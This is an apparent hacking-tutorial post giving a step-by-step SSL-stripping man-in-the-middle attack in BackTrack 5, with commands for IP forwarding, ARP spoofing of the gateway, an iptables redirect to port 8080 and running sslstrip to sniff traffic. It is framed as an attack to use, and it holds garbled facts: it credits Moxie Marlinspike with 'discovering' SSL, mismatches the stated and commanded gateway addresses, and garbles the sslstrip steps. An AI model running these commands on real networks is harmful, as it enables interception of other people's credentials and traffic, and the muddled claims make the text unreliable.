Crack SSL Using SSLStrip In BackTrack 5

SSL  - It was discovered by Moxie Marlinespike , he is a computer security researcher & also Co-founder at whisper systems . It is well know for work with both secure protocols (Https)& Android .




Advantage of Cracking SSLStrip :

    Address bar uses http instead of secure https.
    Sniffing becomes easy .


Things Required :

    Backtrack 5
    Arpspoof
    IP Tables
    SSL Strip
    Netstat


Step By Step Gudie :

    So first start up your Backtrack 5 terminal & type the following Command


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

echo '1' > /proc/sys/net/ipv4/ip_forward

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<



    Now after typing this command the backtrack will be able to forward the packets, now we have to get little information about the gateway Ip , so to know more about our gateway IP we will type the following command



<<<<<<<<<<<<
netstat -nr
<<<<<<<<<<<<




    After we get some info about the gateway ip, then we will ARPSpoof to perform the attack


<<<<<<<<<<<<<<<<<
arpspoof -i eth0 192.168.8.8
<<<<<<<<<<<<<<<<<



    So in the above command eth0 represents the network interface card (NIC) or if you are using a wireless then it will be wlan0 . so in our case the default gateway is 192.168.1.1 . After that we have to Download sslstrip, which you can find from the official website .


    Then after we have installed sslstrip now we have to make our firewall to redirect the traffic from Port 80 to Port 8080, so to do this type the following command


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<




    so our last step would be to make all the traffic go from ARPspoof tables



<<<<<<<<<<<<<<<<<<<<<<<<<<
echo '1' > /proc/sys/net/ipv4/ip_forward

arpspoof -i eth0 192.168.8.8
<<<<<<<<<<<<<<<<<<<<<<<<<<

So finally we are done, now the ARPspoof will start capturing traffic & we have to use SSLstrip now so type the command below


<<<<<<<<<<<<
sslstrip -l 8080
<<<<<<<<<<<<

Now you have successfully cracked the SSLstrip !